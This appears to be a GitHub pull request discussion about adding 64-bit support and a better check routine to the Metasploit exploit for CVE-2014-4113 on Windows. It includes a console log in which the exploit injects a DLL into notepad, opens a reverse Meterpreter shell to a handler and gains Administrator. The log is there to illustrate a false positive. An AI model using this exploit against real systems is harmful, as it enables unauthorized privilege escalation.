Cve 2014-4113 x64 Support For Windows 6.1

This PR adds 64-bit support for the CVE-2014-4113 exploit for Windows 6.1 (Windows 7 SP1 & Windows 2008 R2 SP1). This also takes a first crack at adding a more robust check routine.

The x86 and x64 targets are broken out separately, this was so the module would use a compatible payload. It appears as though even when the target is set to Windows x64 a 32-bit payload can still be selected which causes notepad to crash and the exploit to fail. I'm hoping someone will have an idea on how to ensure that the payload is of a compatible arch.

Thanks @jvazquez-r7!
I don't think this ```revision``` check is good enough for every ```build```.

On the other hand I wouldn't return ```Vulnerable``` here. ```Detected``` in the best case. ```Appears``` if the file revision is checked for every ```build```. 

The reasons are:

* Follow guidelines at https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking
* Avoid false positives when targeting patched systems. Ex: 2003 SP2 patched system:

```
msf exploit(ms14_058_track_popup_menu) > check

[*] win32k.sys file version: 5.2.3790.5445 branch: 54
[+] 172.16.158.135 - The target is vulnerable.
msf exploit(ms14_058_track_popup_menu) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.6.0.90:4444
[*] Launching notepad to host the exploit...
[+] Process 3872 launched.
[*] Reflectively injecting the exploit DLL into 3872...
[*] Injecting exploit into 3872...
[*] Exploit injected. Injecting payload into 3872...
[*] Payload injected. Executing exploit...
[*] Sending stage (770048 bytes) to 10.6.0.90
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 7 opened (10.6.0.90:4444 -> 10.6.0.90:55543) at 2014-10-27 10:51:41 -0500

meterpreter > getuid
Server username: JUAN-6ED9DB6CA8\Administrator
```